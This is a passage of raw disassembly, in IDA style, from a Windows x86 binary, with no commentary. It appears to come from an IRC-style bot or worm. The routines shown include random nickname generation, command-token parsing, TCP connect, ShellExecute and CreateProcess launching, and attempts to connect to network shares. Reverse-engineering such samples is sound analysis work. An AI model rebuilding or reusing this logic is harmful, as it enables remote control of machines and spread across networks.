loc_41B680:				; CODE XREF: ___:0041B676j
					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B688:				; CODE XREF: ___:0041B67Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447759
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 29810A1h
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F60
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F60
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 2960743h
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E74
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E7C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F60
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DC4
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DC4
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443E98
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443E94
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443E90
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E8C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E88
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E84
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E80
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		call	near ptr 71AB9639h
		nop
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 2970000h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443EA4
		mov	ecx, dword_443EA8
		mov	[esp+0], eax
		mov	al, byte_446F60
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EAC
		rep stosd
		mov	ecx, off_443E9C
		mov	[esp+10h], edx
		mov	dx, word_443EA0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 2920000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB7C
		push	offset dword_50BB7C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EA4
		mov	ecx, dword_443EA8
		mov	[esp+0], eax
		mov	al, byte_446F60
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EAC
		rep stosd
		mov	ecx, off_443E9C
		mov	[esp+10h], edx
		mov	dx, word_443EA0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 2920000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
